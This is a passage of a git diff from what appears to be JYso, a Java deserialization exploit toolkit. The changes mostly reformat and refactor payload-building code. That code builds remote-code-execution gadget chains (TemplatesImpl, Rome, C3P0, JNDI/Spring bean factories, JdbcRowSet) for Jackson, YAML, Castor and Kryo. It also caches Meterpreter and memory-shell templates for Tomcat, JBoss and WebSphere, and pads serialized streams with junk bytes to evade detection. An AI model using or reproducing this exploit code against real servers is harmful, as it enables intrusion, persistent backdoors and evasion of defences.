"badAttributeValueExpException"; // 低版本Spring-beans <5.3 -8835275493235412717 // 高版本Spring-beans >=5.3 -1515767093960859525" public String serialVersionUID = "-1515767093960859525"; private Object inv; - public static ClassPool pool = ClassPool.getDefault(); @Override public Object getObject(String command) throws Exception { diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/ByteUtil.java b/src/main/java/com/qi4l/JYso/gadgets/utils/ByteUtil.java index 45c6ee9..ead22d6 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/ByteUtil.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/ByteUtil.java @@ -21,8 +21,8 @@ public class ByteUtil { } public static byte[] deleteAt(byte[] bs, int index) { - int length = bs.length - 1; - byte[] ret = new byte[length]; + int length = bs.length - 1; + byte[] ret = new byte[length]; if (index == bs.length - 1) { System.arraycopy(bs, 0, ret, 0, length); @@ -38,8 +38,8 @@ public class ByteUtil { } public static byte[] addAtIndex(byte[] bs, int index, byte b) { - int length = bs.length + 1; - byte[] ret = new byte[length]; + int length = bs.length + 1; + byte[] ret = new byte[length]; System.arraycopy(bs, 0, ret, 0, index); ret[index] = b; @@ -49,8 +49,8 @@ public class ByteUtil { } public static byte[] addAtLast(byte[] bs, byte b) { - int length = bs.length + 1; - byte[] ret = new byte[length]; + int length = bs.length + 1; + byte[] ret = new byte[length]; System.arraycopy(bs, 0, ret, 0, length - 1); ret[length - 1] = b; @@ -60,7 +60,7 @@ public class ByteUtil { public static byte[] objectsToBytes(Object[] objs) throws Exception { ByteArrayOutputStream baos = new ByteArrayOutputStream(); - DataOutputStream dos = new DataOutputStream(baos); + DataOutputStream dos = new DataOutputStream(baos); for (Object obj : objs) { treatObject(dos, obj); } @@ -81,8 +81,8 @@ public class ByteUtil { } else if (obj instanceof String) { dos.writeUTF((String) obj); } else { - ByteArrayOutputStream ba = new ByteArrayOutputStream(); - ObjectOutputStream oos = new ObjectOutputStream(ba); + ByteArrayOutputStream ba = new ByteArrayOutputStream(); + ObjectOutputStream oos = new ObjectOutputStream(ba); oos.writeObject(obj); oos.close(); dos.write(ba.toByteArray(), 4, ba.size() - 4); // 4 = skip the header diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/Cache.java b/src/main/java/com/qi4l/JYso/gadgets/utils/Cache.java index 24ce8ce..37d2aba 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/Cache.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/Cache.java @@ -23,13 +23,13 @@ public class Cache { static { try { //过期时间100年,永不过期的简单方法 - map.put("TomcatEcho", Util.getClassBytes(TomcatEcho.class), 365 * 100, TimeUnit.DAYS); - map.put("SpringEcho", Util.getClassBytes(SpringEcho.class), 365 * 100, TimeUnit.DAYS); - map.put("JBossMemshellTemplate", Util.getClassBytes(JBFMSFromContextF.class), 365 * 100, TimeUnit.DAYS); - map.put("WebsphereMemshellTemplate", Util.getClassBytes(WebsphereMemshellTemplate.class), 365 * 100, TimeUnit.DAYS); - map.put("isOK", Util.getClassBytes(isOK.class), 365 * 100, TimeUnit.DAYS); + map.put("TomcatEcho", Utils.getClassBytes(TomcatEcho.class), 365 * 100, TimeUnit.DAYS); + map.put("SpringEcho", Utils.getClassBytes(SpringEcho.class), 365 * 100, TimeUnit.DAYS); + map.put("JBossMemshellTemplate", Utils.getClassBytes(JBFMSFromContextF.class), 365 * 100, TimeUnit.DAYS); + map.put("WebsphereMemshellTemplate", Utils.getClassBytes(WebsphereMemshellTemplate.class), 365 * 100, TimeUnit.DAYS); + map.put("isOK", Utils.getClassBytes(isOK.class), 365 * 100, TimeUnit.DAYS); //测试添加到cache中 - map.put("isSuccess", Util.getClassBytes(isSuccess.class), 365 * 100, TimeUnit.DAYS); + map.put("isSuccess", Utils.getClassBytes(isSuccess.class), 365 * 100, TimeUnit.DAYS); map.put("Meterpreter", ClassByteChange.update(Meterpreter.class), 365 * 100, TimeUnit.DAYS); } catch (Exception e) { e.printStackTrace(); diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/ClassByteChange.java b/src/main/java/com/qi4l/JYso/gadgets/utils/ClassByteChange.java index f8ea78b..1e1bfc7 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/ClassByteChange.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/ClassByteChange.java @@ -4,7 +4,10 @@ import com.qi4l.JYso.gadgets.Config.Config; import com.qi4l.JYso.template.echoStatic.Meterpreter; import javassist.*; -import java.io.*; +import java.io.File; +import java.io.FileInputStream; +import java.io.IOException; +import java.io.InputStream; public class ClassByteChange { @@ -23,8 +26,8 @@ public class ClassByteChange { //动态获取.class public static byte[] update(Class clazz) throws NotFoundException, CannotCompileException, IOException { - File dir = new File(""); - String ap = dir.getAbsolutePath(); + File dir = new File(""); + String ap = dir.getAbsolutePath(); ap = ap + File.separatorChar + "data"; ClassPool cPool = new ClassPool(true); @@ -46,18 +49,8 @@ public class ClassByteChange { //替换原有的文件 cClass.writeFile(ap); - InputStream in = new FileInputStream(ap + File.separatorChar + "Meterpreter.class"); - byte[] bytes = new byte[1024]; - ByteArrayOutputStream baous = new ByteArrayOutputStream(); - int len = 0; - while ((len = in.read(bytes)) != -1) { - baous.write(bytes, 0, len); - } - - in.close(); - baous.close(); - - return baous.toByteArray(); + InputStream in = new FileInputStream(ap + File.separatorChar + "Meterpreter.class"); + return Utils.getBytes(in); } diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/ClassFiles.java b/src/main/java/com/qi4l/JYso/gadgets/utils/ClassFiles.java index 195c66a..cd860d7 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/ClassFiles.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/ClassFiles.java @@ -24,14 +24,14 @@ public class ClassFiles { public static byte[] classAsBytes(final Class clazz) { try { - final byte[] buffer = new byte[1024]; - final String file = classAsFile(clazz); - final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file); + final byte[] buffer = new byte[1024]; + final String file = classAsFile(clazz); + final InputStream in = ClassFiles.class.getClassLoader().getResourceAsStream(file); if (in == null) { throw new IOException("couldn't find '" + file + "'"); } final ByteArrayOutputStream out = new ByteArrayOutputStream(); - int len; + int len; while ((len = in.read(buffer)) != -1) { out.write(buffer, 0, len); } diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/ClassNameUtils.java b/src/main/java/com/qi4l/JYso/gadgets/utils/ClassNameUtils.java index 64f8f06..b83ecfc 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/ClassNameUtils.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/ClassNameUtils.java @@ -67,8 +67,8 @@ public class ClassNameUtils { if (jarFile != null) { Enumeration jarEntries = jarFile.entries(); while (jarEntries.hasMoreElements()) { - JarEntry jarEntry = jarEntries.nextElement(); - String jarEntryName = jarEntry.getName(); + JarEntry jarEntry = jarEntries.nextElement(); + String jarEntryName = jarEntry.getName(); if (jarEntryName.endsWith(".class")) { String className = jarEntryName.substring(0, jarEntryName.lastIndexOf(".")).replaceAll("/", "."); if (!className.contains("$") && className.startsWith(packageName)) { diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/Gadgets.java b/src/main/java/com/qi4l/JYso/gadgets/utils/Gadgets.java index d7682d5..e562075 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/Gadgets.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/Gadgets.java @@ -15,7 +15,7 @@ import java.util.Hashtable; import java.util.Map; import static com.qi4l.JYso.gadgets.Config.Config.*; -import static com.qi4l.JYso.gadgets.utils.Utils.*; +import static com.qi4l.JYso.gadgets.utils.Utils.saveCtClassToFile; import static com.qi4l.JYso.gadgets.utils.handle.ClassFieldHandler.insertField; import static com.qi4l.JYso.gadgets.utils.handle.ClassMethodHandler.insertCMD; import static com.qi4l.JYso.gadgets.utils.handle.ClassNameHandler.generateClassName; @@ -25,9 +25,9 @@ import static com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.DESERIA public class Gadgets extends ClassLoader { public static final String ANN_INV_HANDLER_CLASS = "sun.reflect.annotation.AnnotationInvocationHandler"; - public static Class TPL_CLASS = TemplatesImpl.class; - public static Class ABST_TRANSLET = AbstractTranslet.class; - public static Class TRANS_FACTORY = TransformerFactoryImpl.class; + public static Class TPL_CLASS = TemplatesImpl.class; + public static Class ABST_TRANSLET = AbstractTranslet.class; + public static Class TRANS_FACTORY = TransformerFactoryImpl.class; static { // special case for using TemplatesImpl gadgets with a SecurityManager enabled @@ -78,7 +78,7 @@ public class Gadgets extends ClassLoader { Class UnsafeClass = Class.forName("sun.misc.Unsafe"); Field unsafeField = UnsafeClass.getDeclaredField("theUnsafe"); unsafeField.setAccessible(true); - Unsafe unsafe = (Unsafe) unsafeField.get(null); + Unsafe unsafe = (Unsafe) unsafeField.get(null); Object ObjectModule = Class.class.getMethod("getModule").invoke(goalclass); unsafe.getAndSetObject(clazz, unsafe.objectFieldOffset(Class.class.getDeclaredField("module")), ObjectModule); } catch (Exception e) { @@ -93,9 +93,9 @@ public class Gadgets extends ClassLoader { command = command.substring(1, command.length() - 1); } - CtClass ctClass = null; - byte[] classBytes = new byte[0]; - String newClassName = generateClassName(); + CtClass ctClass = null; + byte[] classBytes = new byte[0]; + String newClassName = generateClassName(); final Object templates = TPL_CLASS.newInstance(); @@ -172,8 +172,8 @@ public class Gadgets extends ClassLoader { command = command.substring(1, command.length() - 1); } - CtClass ctClass = null; - String newClassName = generateClassName(); + CtClass ctClass = null; + String newClassName = generateClassName(); POOL.insertClassPath(new ClassClassPath(ABST_TRANSLET)); CtClass superClass = POOL.get(ABST_TRANSLET.getName()); @@ -212,7 +212,7 @@ public class Gadgets extends ClassLoader { } } - byte[] bytes = ctClass.toBytecode(); + byte[] bytes = ctClass.toBytecode(); String classCode = Base64.getEncoder().encodeToString(bytes); //System.out.println("Base64 Encoded CtClass: " + classCode); ctClass.detach(); @@ -238,8 +238,8 @@ public class Gadgets extends ClassLoader { command = command.substring(1, command.length() - 1); } - CtClass ctClass = null; - String newClassName = generateClassName(); + CtClass ctClass = null; + String newClassName = generateClassName(); POOL.insertClassPath(new ClassClassPath(ABST_TRANSLET)); CtClass superClass = POOL.get(ABST_TRANSLET.getName()); @@ -305,10 +305,6 @@ public class Gadgets extends ClassLoader { return s; } - public Class defineClass(String name, byte[] bytecode) { - return defineClass(name, bytecode, 0, bytecode.length); - } - public static Hashtable makeTableTstring(Object o) throws Exception { Map tHashMap1 = (Map) Reflections.createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap"); Map tHashMap2 = (Map) Reflections.createWithoutConstructor("javax.swing.UIDefaults$TextAndMnemonicHashMap"); @@ -333,8 +329,8 @@ public class Gadgets extends ClassLoader { tHashMap2.put(o2, null); Reflections.setFieldValue(tHashMap1, "loadFactor", 1); Reflections.setFieldValue(tHashMap2, "loadFactor", 1); - HashMap hashMap = new HashMap(); - Class node = Class.forName("java.util.HashMap$Node"); + HashMap hashMap = new HashMap(); + Class node = Class.forName("java.util.HashMap$Node"); Constructor constructor = node.getDeclaredConstructor(int.class, Object.class, Object.class, node); constructor.setAccessible(true); Object node1 = constructor.newInstance(0, tHashMap1, "Unam4", null); @@ -346,4 +342,8 @@ public class Gadgets extends ClassLoader { Reflections.setFieldValue(hashMap, "table", arr); return hashMap; } + + public Class defineClass(String name, byte[] bytecode) { + return defineClass(name, bytecode, 0, bytecode.length); + } } \ No newline at end of file diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/InjShell.java b/src/main/java/com/qi4l/JYso/gadgets/utils/InjShell.java index ef4e369..bf1f3e5 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/InjShell.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/InjShell.java @@ -26,7 +26,7 @@ public class InjShell { name = name.substring(name.lastIndexOf(".") + 1); // 大多数 SpringBoot 项目使用内置 Tomcat - boolean isTomcat = name.startsWith("T") || name.startsWith("Spring"); + boolean isTomcat = name.startsWith("T") || name.startsWith("Spring"); boolean isWebflux = name.contains("Webflux"); // 判断是 filter 型还是 servlet 型内存马,根据不同类型写入不同逻辑 @@ -187,7 +187,7 @@ public class InjShell { public static String converString(String target) { if (Config.IS_OBSCURE) { StringBuilder result = new StringBuilder("new String(new byte[]{"); - byte[] bytes = target.getBytes(); + byte[] bytes = target.getBytes(); for (int i = 0; i < bytes.length; i++) { result.append(bytes[i]).append(","); } @@ -253,14 +253,13 @@ public class InjShell { } - //类加载方式,因类而异 public static String injectClass(Class clazz) { String classCode = null; try { //获取base64后的类 - classCode = Util.getClassCode(clazz); + classCode = Utils.getClassCode(clazz); } catch (Exception e) { e.printStackTrace(); diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/JavaVersion.java b/src/main/java/com/qi4l/JYso/gadgets/utils/JavaVersion.java index 5cb689b..384f298 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/JavaVersion.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/JavaVersion.java @@ -14,9 +14,9 @@ public class JavaVersion { if (property == null) { return null; } - JavaVersion v = new JavaVersion(); - String parts[] = property.split("\\.|_|-"); - int start = "1".equals(parts[0]) ? 1 : 0; // skip "1." prefix + JavaVersion v = new JavaVersion(); + String parts[] = property.split("\\.|_|-"); + int start = "1".equals(parts[0]) ? 1 : 0; // skip "1." prefix v.major = Integer.parseInt(parts[start + 0]); v.minor = Integer.parseInt(parts[start + 1]); v.update = Integer.parseInt(parts[start + 2]); diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/MyURLClassLoader.java b/src/main/java/com/qi4l/JYso/gadgets/utils/MyURLClassLoader.java index 901798f..751476a 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/MyURLClassLoader.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/MyURLClassLoader.java @@ -39,9 +39,9 @@ public class MyURLClassLoader { private URLClassLoader getURLClassLoader(String jarName) throws MalformedURLException { - String path = System.getProperty("user.dir") + File.separator + "lib" + File.separator + jarName; - File file = new File(path); - URL url = file.toURI().toURL(); + String path = System.getProperty("user.dir") + File.separator + "lib" + File.separator + jarName; + File file = new File(path); + URL url = file.toURI().toURL(); URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{url}); return urlClassLoader; } diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/Reflections.java b/src/main/java/com/qi4l/JYso/gadgets/utils/Reflections.java index a867509..54feb14 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/Reflections.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/Reflections.java @@ -1,15 +1,10 @@ package com.qi4l.JYso.gadgets.utils; import com.nqzero.permit.Permit; -import javassist.ClassClassPath; -import javassist.CtClass; import sun.reflect.ReflectionFactory; import java.lang.reflect.*; -import static com.qi4l.JYso.gadgets.Config.Config.POOL; -import static com.qi4l.JYso.gadgets.utils.InjShell.insertField; - @SuppressWarnings("restriction") public class Reflections extends ClassLoader { @@ -49,9 +44,11 @@ public class Reflections extends ClassLoader { public static Object newInstance(String className, Object... args) throws Exception { return getFirstCtor(className).newInstance(args); } + public static Object createWithoutConstructor(String classname) throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException { return createWithoutConstructor(Class.forName(classname)); } + public static T createWithoutConstructor(Class classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException { return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]); diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/Serializer.java b/src/main/java/com/qi4l/JYso/gadgets/utils/Serializer.java index eae9ed4..bf4b5e5 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/Serializer.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/Serializer.java @@ -6,7 +6,10 @@ import com.cedarsoftware.util.io.JsonWriter; import com.esotericsoftware.kryo.Kryo; import com.esotericsoftware.kryo.io.Output; import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource; -import com.qi4l.JYso.gadgets.*; +import com.qi4l.JYso.gadgets.C3P0WrapperConnPool; +import com.qi4l.JYso.gadgets.SpringUtil; +import com.qi4l.JYso.gadgets.TemplatesUtil; +import com.qi4l.JYso.gadgets.UtilFactory; import com.qi4l.JYso.gadgets.utils.utf8OverlongEncoding.UTF8OverlongObjectOutputStream; import com.rometools.rome.feed.impl.EqualsBean; import com.rometools.rome.feed.impl.ToStringBean; @@ -16,21 +19,22 @@ import org.springframework.aop.support.DefaultBeanFactoryPointcutAdvisor; import org.springframework.beans.factory.config.PropertyPathFactoryBean; import org.springframework.jndi.support.SimpleJndiBeanFactory; -import java.io.*; +import javax.xml.transform.Templates; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.io.ObjectOutputStream; +import java.io.OutputStream; import java.lang.reflect.InvocationTargetException; import java.net.URI; import java.net.URISyntaxException; import java.util.*; import java.util.concurrent.Callable; -import javax.xml.transform.Templates; - import static com.qi4l.JYso.gadgets.Config.Config.*; public class Serializer implements Callable { - private final Object object; - public static Boolean globalinline = false; + private final Object object; public Serializer(Object object) { this.object = object; @@ -58,7 +62,7 @@ public class Serializer implements Callable { String payloadType, String Command ) throws Exception { - ObjectOutputStream objOut = null; + ObjectOutputStream objOut = null; AbstractHessianOutput AobjOut = null; ByteArrayOutputStream outB64 = new ByteArrayOutputStream(); @@ -101,45 +105,45 @@ public class Serializer implements Callable { try (Output output = new Output(bos)) { kryo.writeClassAndObject(output, obj); } - if(BASE64){ + if (BASE64) { String base64String = Base64.getEncoder().encodeToString(bos.toByteArray()); System.out.println(base64String); return; - }else{ + } else { System.out.println(bos); return; } - } else if (IS_JsonIO){ + } else if (IS_JsonIO) { if (payloadType.equals("SpringAbstractBeanFactoryPointcutAdvisor")) { UtilFactory uf = new UtilFactory(); - obj = SpringUtil.makeBeanFactoryTriggerBFPA(uf, "caller", SpringUtil.makeMethodTrigger(new ProcessBuilder(Command), "start")); + obj = SpringUtil.makeBeanFactoryTriggerBFPA(uf, "caller", SpringUtil.makeMethodTrigger(new ProcessBuilder(Command), "start")); System.out.println(obj); return; - }else if (payloadType.equals("Rome")){ + } else if (payloadType.equals("Rome")) { obj = makeRome(Command); System.out.println(obj); return; } - String jsonio = JsonWriter.objectToJson(obj); + String jsonio = JsonWriter.objectToJson(obj); System.out.println(jsonio); return; - } else if (IS_YamlBeans){ - obj = YamlBeansHandler(payloadType,Command); + } else if (IS_YamlBeans) { + obj = YamlBeansHandler(payloadType, Command); System.out.println(obj); return; } else if (IS_JYAML) { - String payload = JYamlHandler(payloadType,Command); + String payload = JYamlHandler(payloadType, Command); System.out.println(payload); return; } else if (IS_Castor) { - obj = CastorHandler(payloadType,Command); + obj = CastorHandler(payloadType, Command); System.out.println(obj); return; - }else if (IS_Jackson){ - obj = JacksonHandler(payloadType,Command); + } else if (IS_Jackson) { + obj = JacksonHandler(payloadType, Command); System.out.println(obj); return; - }else { + } else { if (BASE64) { objOut = new SuObjectOutputStream(outB64); } else { @@ -159,10 +163,6 @@ public class Serializer implements Callable { } } - public byte[] call() throws Exception { - return serialize(object); - } - public static Object makeRome(String Command) throws Exception { UtilFactory uf = new UtilFactory(); String args[] = {Command}; @@ -183,21 +183,21 @@ public class Serializer implements Callable { return uf.makeHashCodeTrigger(root); } - public static Object YamlBeansHandler(String payloadType, String command ) throws IOException, URISyntaxException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException { + public static Object YamlBeansHandler(String payloadType, String command) throws IOException, URISyntaxException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException { globalinline = true; - if(payloadType.equals("C3P0WrapperConnPool")) { + if (payloadType.equals("C3P0WrapperConnPool")) { URI uri = new URI(command); String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)}; return writeObject( WrapperConnectionPoolDataSource.class, Collections.singletonMap("userOverridesAsString", writeString(C3P0WrapperConnPool.makeC3P0UserOverridesString(args[0], args[1])))); - }else{ + } else { return null; } } public static Object JacksonHandler(String payloadType, String command) throws Exception { - if (payloadType.equals("SpringAbstractBeanFactoryPointcutAdvisor")){ + if (payloadType.equals("SpringAbstractBeanFactoryPointcutAdvisor")) { String jndiUrl = command; Map values = new LinkedHashMap<>(); values.put("beanFactory", makeSpringJndiBeanFactory(jndiUrl)); @@ -206,35 +206,34 @@ public class Serializer implements Callable { HashSet.class.getName(), writeJackJsonObject(DefaultBeanFactoryPointcutAdvisor.class, values), writeJackJsonObject(DefaultBeanFactoryPointcutAdvisor.class, Collections.EMPTY_MAP)); - }else if (payloadType.equals("C3P0WrapperConnPool")){ + } else if (payloadType.equals("C3P0WrapperConnPool")) { URI uri = new URI(command); String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)}; return writeJackJsonObject( WrapperConnectionPoolDataSource.class, - Collections.singletonMap("userOverridesAsString", quoteString(C3P0WrapperConnPool.makeC3P0UserOverridesString(args[ 0 ], args[ 1 ])))); - }else if (payloadType.equals("SpringPropertyPathFactory")){ + Collections.singletonMap("userOverridesAsString", quoteString(C3P0WrapperConnPool.makeC3P0UserOverridesString(args[0], args[1])))); + } else if (payloadType.equals("SpringPropertyPathFactory")) { Map values = new LinkedHashMap<>(); String jndiUrl = command; values.put("targetBeanName", quoteString(jndiUrl)); values.put("propertyPath", quoteString("foo")); values.put("beanFactory", makeSpringJndiBeanFactory(jndiUrl)); return writeJackJsonObject(PropertyPathFactoryBean.class, values); - }else if (payloadType.equals("JdbcRowSet")){ + } else if (payloadType.equals("JdbcRowSet")) { Map values = new LinkedHashMap<>(); values.put("dataSourceName", quoteString(command)); values.put("autoCommit", "true"); return writeJackJsonObject(JdbcRowSetImpl.class, values); - }else if (payloadType.equals("C3P0RefDataSource")){ + } else if (payloadType.equals("C3P0RefDataSource")) { Map values = new LinkedHashMap<>(); values.put("jndiName", quoteString(command)); values.put("loginTimeout", "0"); return writeJackJsonObject("com.mchange.v2.c3p0.JndiRefForwardingDataSource", values); - }else{ + } else { return null; } } - public static String JYamlHandler(String payloadType, String command) throws URISyntaxException, IOException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException { if (payloadType.equals("JdbcRowSet")) { Map properties = new LinkedHashMap<>(); @@ -246,88 +245,36 @@ public class Serializer implements Callable { String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)}; return writeObject( WrapperConnectionPoolDataSource.class, - Collections.singletonMap("userOverridesAsString", writeString(C3P0WrapperConnPool.makeC3P0UserOverridesString(args[ 0 ], args[ 1 ])))); + Collections.singletonMap("userOverridesAsString", writeString(C3P0WrapperConnPool.makeC3P0UserOverridesString(args[0], args[1])))); } else if (payloadType.equals("C3P0RefDataSource")) { Map props = new LinkedHashMap<>(); props.put("jndiName", writeString(command)); props.put("loginTimeout", "0"); return writeObject("com.mchange.v2.c3p0.JndiRefForwardingDataSource", props); - } - else { + } else { return null; } } public static Object CastorHandler(String payloadType, String command) throws URISyntaxException, IOException, ClassNotFoundException, InvocationTargetException, NoSuchMethodException, InstantiationException, IllegalAccessException { - if (payloadType.equals("SpringAbstractBeanFactoryPointcutAdvisor")){ + if (payloadType.equals("SpringAbstractBeanFactoryPointcutAdvisor")) { String jndiName = command; return "" + "" + jndiName + "foo" + "" + "" + jndiName + ""; - }else if (payloadType.equals("C3P0WrapperConnPool")){ + } else if (payloadType.equals("C3P0WrapperConnPool")) { URI uri = new URI(command); String args[] = {uri.getScheme() + "://" + uri.getAuthority(), uri.getPath().substring(1)}; return ""; - }else{ + + "user-overrides-as-string=\"" + C3P0WrapperConnPool.makeC3P0UserOverridesString(args[0], args[1]) + "\"/>"; + } else { return null; } } - - public static class SuObjectOutputStream extends ObjectOutputStream { - - public SuObjectOutputStream(OutputStream out) throws IOException { - super(out); - } - - @Override - protected void writeStreamHeader() throws IOException { - super.writeStreamHeader(); - try { - // 写入 - for (int i = 0; i < DIRTY_LENGTH_IN_TC_RESET; i++) { - Reflections.getMethodAndInvoke(Reflections.getFieldValue(this, "bout"), "writeByte", new Class[]{int.class}, new Object[]{TC_RESET}); - } - } catch (Exception e) { - throw new RuntimeException(e); - } - } - } - - public static class NoWriteReplaceSerializerFactory extends SerializerFactory { - - /** - * {@inheritDoc} - * - * @see com.caucho.hessian.io.SerializerFactory#getObjectSerializer(java.lang.Class) - */ - @Override - public com.caucho.hessian.io.Serializer getObjectSerializer (Class cl ) throws HessianProtocolException { - return super.getObjectSerializer(cl); - } - - /** - * {@inheritDoc} - * - * @see com.caucho.hessian.io.SerializerFactory#getSerializer(java.lang.Class) - */ - @Override - public com.caucho.hessian.io.Serializer getSerializer (Class cl ) throws HessianProtocolException { - com.caucho.hessian.io.Serializer serializer = super.getSerializer(cl); - - if ( serializer instanceof WriteReplaceSerializer ) { - return UnsafeSerializer.create(cl); - } - return serializer; - } - } - - - protected static String writeObject(Class clazz, Map properties, String... consArgs) { return writeObject(clazz.getName(), properties, consArgs); } @@ -359,7 +306,6 @@ public class Serializer implements Callable { return sb.toString(); } - protected static String writeConstructor(Class clazz, boolean inline, String... args) { return writeConstructor(clazz.getName(), inline, args); } @@ -371,8 +317,8 @@ public class Serializer implements Callable { return sb.toString(); } - protected static String constructorPrefix ( boolean inline ) { - if ( !inline ) { + protected static String constructorPrefix(boolean inline) { + if (!inline) { return "foo: !"; } return "!"; @@ -382,21 +328,21 @@ public class Serializer implements Callable { return '"' + string + '"'; } - public static String writeJackJsonObject( Class clazz, Map values ) { + public static String writeJackJsonObject(Class clazz, Map values) { return writeJackJsonObject(clazz.getName(), values); } - public static String writeJackJsonObject ( String type, Map properties ) { + + public static String writeJackJsonObject(String type, Map properties) { StringBuilder sb = new StringBuilder(); sb.append('['); sb.append('"').append(type).append('"'); sb.append(','); sb.append('{'); boolean first = true; - for ( Map.Entry e : properties.entrySet() ) { - if ( !first ) { + for (Map.Entry e : properties.entrySet()) { + if (!first) { sb.append(','); - } - else { + } else { first = false; } writeProperty(sb, e.getKey(), e.getValue()); @@ -406,13 +352,13 @@ public class Serializer implements Callable { return sb.toString(); } - public static void writeProperty ( StringBuilder sb, String key, String value ) { + public static void writeProperty(StringBuilder sb, String key, String value) { sb.append('"').append(key).append('"'); sb.append(':'); sb.append(value); } - public static String writeCollection ( String type, String... values ) { + public static String writeCollection(String type, String... values) { StringBuilder sb = new StringBuilder(); sb.append('['); sb.append('"').append(type).append('"'); @@ -425,11 +371,10 @@ public class Serializer implements Callable { public static void arrayHandler(StringBuilder sb, String[] values) { sb.append('['); boolean first = true; - for ( String val : values ) { - if ( !first ) { + for (String val : values) { + if (!first) { sb.append(','); - } - else { + } else { first = false; } sb.append(val); @@ -437,20 +382,71 @@ public class Serializer implements Callable { sb.append(']'); } - public static String makeSpringJndiBeanFactory ( String jndiUrl ) { + public static String makeSpringJndiBeanFactory(String jndiUrl) { return writeJackJsonObject(SimpleJndiBeanFactory.class, Collections.singletonMap("shareableResources", writeArray(quoteString(jndiUrl)))); } - public static String quoteString ( String string ) { + + public static String quoteString(String string) { return '"' + string + '"'; } - public static String writeArray ( String... elements ) { + public static String writeArray(String... elements) { StringBuilder sb = new StringBuilder(); arrayHandler(sb, elements); return sb.toString(); } + public byte[] call() throws Exception { + return serialize(object); + } + public static class SuObjectOutputStream extends ObjectOutputStream { + + public SuObjectOutputStream(OutputStream out) throws IOException { + super(out); + } + + @Override + protected void writeStreamHeader() throws IOException { + super.writeStreamHeader(); + try { + // 写入 + for (int i = 0; i < DIRTY_LENGTH_IN_TC_RESET; i++) { + Reflections.getMethodAndInvoke(Reflections.getFieldValue(this, "bout"), "writeByte", new Class[]{int.class}, new Object[]{TC_RESET}); + } + } catch (Exception e) { + throw new RuntimeException(e); + } + } + } + + public static class NoWriteReplaceSerializerFactory extends SerializerFactory { + + /** + * {@inheritDoc} + * + * @see com.caucho.hessian.io.SerializerFactory#getObjectSerializer(java.lang.Class) + */ + @Override + public com.caucho.hessian.io.Serializer getObjectSerializer(Class cl) throws HessianProtocolException { + return super.getObjectSerializer(cl); + } + + /** + * {@inheritDoc} + * + * @see com.caucho.hessian.io.SerializerFactory#getSerializer(java.lang.Class) + */ + @Override + public com.caucho.hessian.io.Serializer getSerializer(Class cl) throws HessianProtocolException { + com.caucho.hessian.io.Serializer serializer = super.getSerializer(cl); + + if (serializer instanceof WriteReplaceSerializer) { + return UnsafeSerializer.create(cl); + } + return serializer; + } + } } \ No newline at end of file diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/SignedObjectUtils.java b/src/main/java/com/qi4l/JYso/gadgets/utils/SignedObjectUtils.java index 713587b..6252b6b 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/utils/SignedObjectUtils.java +++ b/src/main/java/com/qi4l/JYso/gadgets/utils/SignedObjectUtils.java @@ -13,9 +13,9 @@ public class SignedObjectUtils { KeyPairGenerator keyPairGenerator; keyPairGenerator = KeyPairGenerator.getInstance("DSA"); keyPairGenerator.initialize(1024); - KeyPair keyPair = keyPairGenerator.genKeyPair(); - PrivateKey privateKey = keyPair.getPrivate(); - Signature signingEngine = Signature.getInstance("DSA"); + KeyPair keyPair = keyPairGenerator.genKeyPair(); + PrivateKey privateKey = keyPair.getPrivate(); + Signature signingEngine = Signature.getInstance("DSA"); return new java.security.SignedObject(obj, privateKey, signingEngine); } } diff --git a/src/main/java/com/qi4l/JYso/gadgets/utils/SnakeYamlUtils.java b/src/main/java/com/qi4l/JYso/gadgets/utils/SnakeYamlUtils.java deleted file mode 100644 index 81c88f3..0000000 --- 